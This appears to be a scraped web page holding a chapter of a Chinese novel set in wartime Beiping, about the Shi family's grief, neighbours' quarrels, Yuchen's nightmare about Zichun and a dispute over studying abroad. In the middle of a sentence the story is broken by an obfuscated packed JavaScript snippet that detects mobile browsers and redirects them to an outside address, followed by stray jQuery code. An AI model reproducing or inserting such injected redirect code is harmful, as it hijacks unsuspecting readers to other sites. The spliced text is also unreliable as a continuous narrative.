自打娘家出事后，淑珍就仿佛掉了魂儿似的打不起劲头过日子。除了操持大生大源这一双儿女，她一天到晚的没了话，就只呆愣着一双眼睛闷坐，有时候能坐满一下午。予寰瞧着是真心疼，可又不知道该怎么哄怎么劝才能让妻子走出父母双亡的惨痛，何况二老还是叫日本人生生给害死的。疼加上恨，这道拉在淑珍心口上的伤疤怕是永生都难以愈合了。
一大清早起，淑珍带着大生大源在胡同里拔根儿玩。落叶早已铺了满地，焦黄的，老绿的，还有那鹅黄小扇儿形的，错落琳琅，渐变有致。大源将将儿会走路，还立不很稳，每每败给哥哥，气得她嘟起葫芦似的小嘴儿，一遍遍嗲嗲地唤着：“妈！妈！哥哥坏！打！”淑珍难得有了疏淡的笑影儿，一把将大源揽入怀中，把着她发面馍馍似的小嫩手儿说：“大源乖乖，妈帮你跟哥哥拔，来！瞧瞧~我们大源这不是赢了！”
娘儿仨正玩笑间，贾仕桢低头耸肩地蹿出了8号的大街门。乍一过风儿，他大张旗鼓打出两个豁亮的大喷嚏，又紧了紧府绸面大袄上的紫貂毛领子，向淑珍招呼道：“天儿真见凉了啊时少奶奶！带孩子玩儿呐您这这是？”淑珍站起身来浅笑应道：“贾先生早！您这是赶早儿上铺子里去？”贾仕桢点头一乐，拍拍大生的脑瓜子，又一把抱起大源亲了又亲。大源既惊且怕，张着小胳膊岔了嗓儿地喊妈。淑珍笑着接过大源，直劲儿说孩子太小，没见过世面。
“时少奶奶您是真有福气，嫁进时家门儿里没出三年，好家伙，儿女双全！哎，这老话儿里净说酸儿辣女，真的还是假的？”贾仕桢看起来兴致格外好，淑珍领着俩孩子直着打转身儿，他可只顾涎皮涎脸颠三倒四。“嗐，我倒也没觉着。听您这话音儿，可是贾太太又有喜了？”淑珍话音还没落尽，只听8号的街门吱扭一声又开了，随即飘出一阵甜腻腻响泠泠的笑声：“哈哈哈哈，时少奶奶真是越来越会说笑了，且不说我如今都多大岁数了，这儿女双全的好福气啊，它也看人！也不是谁都能享得起的！”几句话说完，贾太太大玻璃球儿似的眼睛里已看不出丝毫笑影儿，宛如寒潭枯水，鬼气森森。
猝不及防地，大源竟哭起来了，淑珍赶忙抱起闺女一行哄着一行向贾仕桢夫妇告辞道：“贾先生贾太太，起风了，孩子着凉伤风可是麻烦，我先家去了，回见！”说罢招呼了大生，径直回去6号不提。贾仕桢早不见了方才逗弄大源时的春风满面，拿眼斜睨着贾太太冷声道：“什么时候还学会趴门缝儿听闲话了？没个当妈的德行，也不怕博宇瞧见了笑话！”贾太太从鼻子里哼出一声冷笑：“你倒是具足了当老爷爹的派头，赶明儿个就能儿女双全，三妻四妾了！”贾仕桢脸色微变，扭头朝地上啐了一口，紧跟着大步流星走出了胡同口，把个双眸喷火两腮抽动的贾太太独个儿撩在了大风口上。
皎月如钩，嵌在漫天棉絮似的阴云里时明时晦。朔风如刃，雕出几眼寒星冷眸窥看人世，阅尽悲欢冷暖终无一言。嘶吼咆哮了一整天的西北风可算偃旗息鼓稍事将息，只将剩怒余威化作阵风宣泄，铺天盖地卷入北平老百姓的门板窗缝儿，哪怕是早早钻了被窝儿的人们，也禁不住要激灵灵打个寒噤，就仿佛被淘气孩子拿小凉手儿抽不冷子摸了一把。睡睡不瓷实，醒醒不透亮，罪孽啊！
予辰和衣歪在小床上，任凭思绪像窗外的西北风般隳突奔逸，一刻难止息。难得回家里一趟，父亲竟又搬出他与晚秋的婚事来。晚秋如今大了，她的心事与用情予辰当然心知肚明，每一想起就仿佛怀揣火球般焦灼难抑，坐立不安。他可以视晚秋作近邻，作挚友，作幼妹，唯独不可能让她做自己携手一世的爱人伴侣，因为他心里头认定的那个人，只能是梓莼。而且予辰深信，在这一点上，梓莼与他两心相知彼此明了，她那双明艳清澈的大眼睛骗不了人！
可梓莼究竟是怎么了，近来总也不到学校里去，偶尔现身，也如失了精魂般神不守舍，那双会说话的大眼睛整个儿的空了，让予辰不敢看，亦不忍看。他又去过一趟孙家的小院，才到门口便止了脚步再不敢上前。予辰说不清楚他到底在恐惧什么。从那两扇紧闭的大门里依稀传出断断续续的管弦伶音之声，间或还有男人的谈笑阔论，都竟相钻入予辰脑中，令他头痛欲裂转身就走，仿佛孙家小院儿里匿着骇人的鬼怪，随时会蹿出来将他撕得粉身碎骨。
正当予辰辗转反侧一筹莫展之时，冷不丁瞥见一个瘦弱的人影儿袅袅婷婷闪进屋来。他定睛一瞧，再不是别人，可不就是自己心心念念挂怀多日的梓莼么！只是梓莼怎么竟变了模样，月华之下她的面色看起来是那样苍白憔悴，仿佛暴晒久了的纸人般全无生气，两瓣薄薄的嘴唇干枯皲裂，微颤着似有千言万语想要倾诉。予辰不觉看得痴了，起身一把执起梓莼的手，只觉寒凉刺骨，他忙不迭问道：“梓莼，你怎么来这儿了？这些日子你都上哪儿去了？怎么连学堂也不去了？”
秋深夜重，梓莼却只披了一袭如雪的裙纱，夜色里看去活像瑶池仙台上的玉女，飘渺不可及。予辰见她微微佝偻着背，并不发一言，只把一双凝悲带露的琉璃妙目看定了自己。两人就这么对望了不知多久，予辰只觉寒意越来越浓郁，自四面八方包裹威压，他禁不住寒战起来，牙齿磕碰之声在静夜里听着格外诡异。可他却顾不上惊惧畏缩，只觉一柄利刃正自翻绞撕裂着自己的心，痛，肝肠寸断亦不过如此。他有太多的话想问梓莼，却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835045|175636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口不能成言，如梦魇般窒重压抑。
惶恐中再看梓莼，那一双惊魂摄魄的美眸中竟缓缓落下两行血泪，予辰大惊，猛力摇撼梓莼柔弱的肩头，慌乱之下越发挣不出一个字来，只见梓莼的□□不断涌出鲜血，殷红的血在洁白的裙纱上印染出一朵朵诡异莫测的彼岸之花，渐次在梓莼足下积出一汪小小的血泊。予辰大骇，在失声惊吼中骤然醒转——原来是噩梦一场！他听着自己如鼓的心跳声呆坐许久，一个激灵才意识到通体竟已被冷汗湿透了。这个诡异难解的梦境令予辰心底的疑云恐惧越加浓厚，一如压境的沉云，挥之不去。
睡意全无的予辰披衣下床，瞥了一眼床头的夜明小座钟，凌晨三点四十分，正是黎明到来前最深沉的夜。伫立窗前看过去，无星无月的暗夜里，一灯如豆，犹在燃烧绽放着探索与新知的微明，那是三弟予隆的房间。予辰凝重不愉的面色里隐隐透出几许欣慰，还有一年三弟就要大学毕业了，他自幼迷恋数理逻辑，在应用数学领域极具天赋。哪怕生在这个炮火连天民族危亡的战乱年代，予隆亦能关起门来专心演算，仿佛一经扎进那个充满隐秘规律的数字世界，外间的一切纷扰战乱便都被隔绝在了结界之外，予隆就像登临了另一个世界，一座安静隐秘，一丝不苟的逻辑之城。扪心说，予辰真的很羡慕三弟。
上一趟回家，三弟说起导师有意举荐他赴美留学，话一出口便遭到父亲怒不可遏的激烈反对，一旁的母亲竟也放下饭碗，一言不发抹起了眼泪。“如今这世道不太平！倭寇横行，四处搜捕青年学生，你和你哥哥，见天儿的我一想到你们我就合不上眼吃不下饭。父母在，不远游，你们早都不是人事儿不懂的小娃娃了，就不能让我和你妈省省心？聂老开蒙时教给你们的详序孝悌全忘干净啦？”
“爸爸，您这种老思想早该修正一下了！”予隆不服，还想强辩：“正因为中国乱了，叫小日本祸害得不成样子，吾辈青年人才要走出去寻找出路，学习新知啊！难不成，要我们统统留下来陪葬？”“走出去？你想上哪儿去！？我听铺子里的主顾说了，现下满世界都在打仗呢，英国，德国，沙俄，哪儿哪儿都不太平。三儿我可告诉你，枪炮不长眼睛，我们中国人讲究什么？身体发肤受之父母，懂不懂？”予隆填了满嘴的饭菜，一时语塞。时庭林还以为小儿子说不过了，又继续道：“一等你大学毕了业，马上叫你妈给你寻么一门好亲事，照晚秋那样儿也给你娶房太太，生儿育女传承家业才是长久安分之计！”
晚秋……香火……生儿育女……出路……一连串儿风马牛不相及的词语走马灯似的在予辰的回忆里来回乱转，山河破碎国将不国，他和三弟的出路又在何方呢？